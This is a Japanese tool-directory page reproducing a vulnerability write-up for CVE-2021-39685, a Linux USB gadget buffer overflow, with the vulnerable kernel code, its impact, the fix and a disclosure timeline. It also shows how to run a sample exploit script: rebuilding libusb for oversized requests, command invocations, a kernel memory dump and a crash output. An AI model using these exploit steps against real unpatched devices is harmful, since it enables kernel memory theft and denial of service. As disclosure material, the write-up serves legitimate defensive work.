Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
inspector-gadget — CVE-2021-39685 の説明と Linux USB Gadget オーバーフロー脆弱性のサンプルエクスプロイト | Kitploit
ツール/GitHubGitHub/szymonh/inspector-gadget
組み込みシステムセキュリティ脆弱性分析エクスプロイトファジングハードウェアセキュリティバイナリエクスプロイト
GitHubszymonh/inspector-gadget

inspector-gadget

CVE-2021-39685 の説明と Linux USB Gadget オーバーフロー脆弱性のサンプルエクスプロイト

リポジトリを見る
1414年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

inspector-gadget

root@kitploit:~
    Go Go Gadget Exploit!
     _..--"\  `|`""--.._
  .-'       \  |        `'-.
 /           \_|___...----'`\
|__,,..--""``(_)--..__      |
'\     _.--'`.I._     ''--..'
  `''"`,#JGS/_|_\###,---'`
    ,#'  _.:`___`:-._ '#,
   #'  ,~'-;(oIo);-'~, '#
   #   `~-(  |    )=~`  #
   #       | |_  |      #
   #       ; ._. ;      #
   #  _..-;|\ - /|;-._  #
   #-'   /_ \\_// _\  '-#
 /`#    ; /__\-'__\;    #`\
;  #\.--|  |O  O   |'-./#  ;
|__#/   \ _;O__O___/   \#__|
 | #\    [I_[_]__I]    /# |
 \_(#   /  |O  O   \   #)_/
       /   |        \
      /    |         \
     /    /\          \
    /     | `\         ;
   ;      \   '.       |
    \-._.__\     \_..-'/
     '.\  \-.._.-/  /'`
        \_.\    /._/
         \_.;  ;._/
       .-'-./  \.-'-.
      (___.'    '.___)

概要

攻撃者は、rndis、hid、uac1、uac1_legacy、uac2 といった USB ガジェットの制御リクエストハンドラの実装を悪用することで、有効なバッファ境界を超えてカーネルメモリにアクセスできます。異常に大きな wLength を持つ悪意のある制御転送リクエストの処理では、この値がバッファサイズを超えないことの保証がありません。そのため、場合によっては最大 65k バイトのカーネルメモリを読み取り、または書き込み(特定のケースに依存)することが可能になります。

説明

rndis、hid、uac1、uac1_legacy、uac2 などのガジェットにおける USB 制御転送ハンドラの一部の実行パスには、リクエスト長(wLength)の適切な処理が含まれていません。この値は、データ転送フェーズにおけるバッファオーバーフロー脆弱性を防ぐために、バッファサイズに制限されるべきです。

エンドポイント 0 で使用されるバッファは、composite.c 内で USB_COMP_EP0_BUFSIZ(4096)バイトのサイズで割り当てられます。そのため、wLength を USB_COMP_EP0_BUFSIZ より大きい値に設定すると、バッファオーバーフローが発生します。

例えば、f_uac1.c の場合、f_audio_setup 関数を実行すると、バッファ境界を超えて読み取りと書き込みの両方を行うことができます。f_audio_setup も、呼び出される関数(audio_set_endpoint_req、audio_get_endpoint_req、out_rq_cur、ac_rq_in)も、戻り値をバッファサイズより小さく制限していません。その結果、データ転送フェーズでは、攻撃者が制御する req->length = value = ctrl->wLength が使用されます。これにより、制御転送の方向に応じて、カーネルメモリの最大 65k バイトを読み取りまたは書き込みすることができます。

root@kitploit:~
    static int
    f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);

            /* composite driver infrastructure handles everything; interface
             * activation uses set_alt().
             */
            switch (ctrl->bRequestType) {
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_set_endpoint_req(f, ctrl);
                    break;

            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                    value = audio_get_endpoint_req(f, ctrl);
                    break;
            case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    if (ctrl->bRequest == UAC_SET_CUR)
                            value = out_rq_cur(f, ctrl);
                    break;
            case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                    value = ac_rq_in(f, ctrl);
                    break;
            default:
                    ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
            }

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = 0;
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);

                    if (value < 0)
                            ERROR(cdev, "audio response on err %d\n", value);
            }

            /* device either stalls (value < 0) or reports success */
            return value;
    }

サンプルの読み出しエクスプロイトを実行すると、最大 65k のメモリをダンプできます。

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
    65535
root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings

    nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
    tem.slice/system-getty.slice/[email protected]
    !rE*
    ?& .4!
    0usb_composite_setup_continue
    composite_setup
    usb_gadget_get_string
    usb_otg_descriptor_init
    usb_otg_descriptor_alloc
    usb_free_all_descriptors
    usb_assign_descriptors
    usb_copy_descriptors

    usb_gadget_config_buf

一方、上書きエクスプロイトを実行すると、想定されたバッファ境界を超えて任意のデータを書き込むことができます。

root@kitploit:~
    $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write

    Message from syslogd@zero at Dec  6 19:56:01 ...
     kernel:[  103.850206] Internal error: Oops: 5 [#1] ARM

同様に、rndis ガジェットの場合、rndis_setup 関数は、方向が out、タイプが class、レシピエントが interface、bRequest が USB_CDC_SEND_ENCAPSULATED_COMMAND に設定された制御転送リクエストを使用して、バッファ境界を超えて書き込むように悪用される可能性があります。

root@kitploit:~
    static int
    rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
    {
            struct f_rndis          *rndis = func_to_rndis(f);
            struct usb_composite_dev *cdev = f->config->cdev;
            struct usb_request      *req = cdev->req;
            int                     value = -EOPNOTSUPP;
            u16                     w_index = le16_to_cpu(ctrl->wIndex);
            u16                     w_value = le16_to_cpu(ctrl->wValue);
            u16                     w_length = le16_to_cpu(ctrl->wLength);
            /* composite driver infrastructure handles everything except
             * CDC class messages; interface activation uses set_alt().
             */
            switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
            /* RNDIS uses the CDC command encapsulation mechanism to implement
             * an RPC scheme, with much getting/setting of attributes by OID.
             */
            case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
                            | USB_CDC_SEND_ENCAPSULATED_COMMAND:
                    if (w_value || w_index != rndis->ctrl_id)
                            goto invalid;
                    /* read the request; process it later */
                    value = w_length;
                    req->complete = rndis_command_complete;
                    req->context = rndis;
                    /* later, rndis_response_available() sends a notification */
                    break;

     ...

     ...

            /* respond with data transfer or status phase? */
            if (value >= 0) {
                    DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
                            ctrl->bRequestType, ctrl->bRequest,
                            w_value, w_index, w_length);
                    req->zero = (value < w_length);
                    req->length = value;
                    value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
                    if (value < 0)
                            ERROR(cdev, "rndis response on err %d\n", value);
            }
            /* device either stalls (value < 0) or reports success */
            return value;

    }

脆弱な実行パス:

  • f_rndis.c
    • rndis_setup
  • f_uac1.c
    • out_rq_cur
    • ac_rq_in
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac1_legacy.c
    • audio_set_intf_req
    • audio_set_endpoint_req
    • audio_get_endpoint_req
  • f_uac2.c
    • out_rq_cur
  • f_hid.c
    • HID_REQ_SET_REPORT ケースの hid_gsetup

影響

影響を受ける USB デバイスガジェットクラス(rndis、hid、uac1、uac1_legacy、uac2)を実装したデバイスは、バッファオーバーフロー脆弱性の影響を受ける可能性があり、情報漏えい、サービス拒否、またはカーネルコンテキストでの任意のコード実行につながる可能性があります。

期待される解決策

影響を受ける制御リクエストハンドラにおいて、転送フェーズのサイズを min(len, buffer_size) に制限し、バッファオーバーフローが発生しないようにします。

重要日付

  • 2021年12月7日 - 問題をカーネルセキュリティチームに報告
  • 2021年12月9日 - カーネルセキュリティチームがドラフトパッチを提供
  • 2021年12月12日 - 修正がメインの Linux カーネルツリーにマージ(公開)

CVE

CVE-2021-39685

エクスプロイト

標準の 4096 バイトより大きい wLength を持つ制御転送リクエストを発行するには、ホスト側で MAX_CTRL_BUFFER_LENGTH を 0xffff に増やしたカスタムビルドの libusb を使用する必要があります。この値は、ビルド前に libusb/os/linux_usbfs.h で変更できます。

gadget.py スクリプトには pyusb が必要です。このパッケージは以下のように pip でインストールできます。

python3 -m pip install pyusb

ヘルプは -h または --help パラメータで表示できます。

root@kitploit:~
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
                 [-f {rndis,uac1,uac1_legacy,uac2,hid}]

Sample exploit for RNDIS gadget class

optional arguments:
  -h, --help            show this help message and exit
  -v VID, --vid VID     vendor id
  -p PID, --pid PID     product id
  -l LENGTH, --length LENGTH
                        lenght of data to write
  -d {read,write}, --direction {read,write}
                        direction of operation from host perspective
  -f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}

呼び出し例:

root@kitploit:~
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis

パッチ

  • USB: gadget: detect too-big endpoint 0 requests
  • USB: gadget: bRequestType is a bitfield, not a enum

最後に

カーネルを最新の安定版に更新してください。

ツールをダウンロード